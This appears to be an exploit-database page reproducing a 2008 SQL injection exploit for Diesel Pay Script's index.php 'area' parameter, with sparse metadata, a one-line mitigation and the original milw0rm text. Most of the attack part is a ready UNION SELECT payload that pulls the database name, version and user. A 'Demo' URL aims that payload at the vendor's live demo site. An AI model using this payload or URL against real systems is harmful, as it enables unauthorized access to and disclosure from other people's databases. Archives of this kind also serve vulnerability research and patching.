Diesel Pay Script index.php (area) sql inj

vendor:

Diesel Pay Script

by:

ZoRLu

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Diesel Pay Script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Diesel Pay Script index.php (area) sql inj

An attacker can inject arbitrary SQL commands into the 'area' parameter of the 'index.php' script. This can be exploited to disclose the version, database name and user name of the underlying database.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

[~] Diesel Pay Script
[~]
[~] index.php (area) sql inj
[~]
[~] http://www.dieselscripts.com
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 20.09.2008
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/index.php?a=browse&area=[SQL]

[SQL]= 

ZoRLu'+union+select+null,null,null,null,null,concat(database(),0x3a,version(),0x3a,user()),null/*

Demo:

http://www.dieselscripts.com/demo/dieselpay/index.php?a=browse&area=ZoRLu'+union+select+null,null,null,null,null,concat(database(),0x3a,version(),0x3a,user()),null/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] http://www.z0rlu.blogspot.com online : )
[~]
[~] home: yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-20]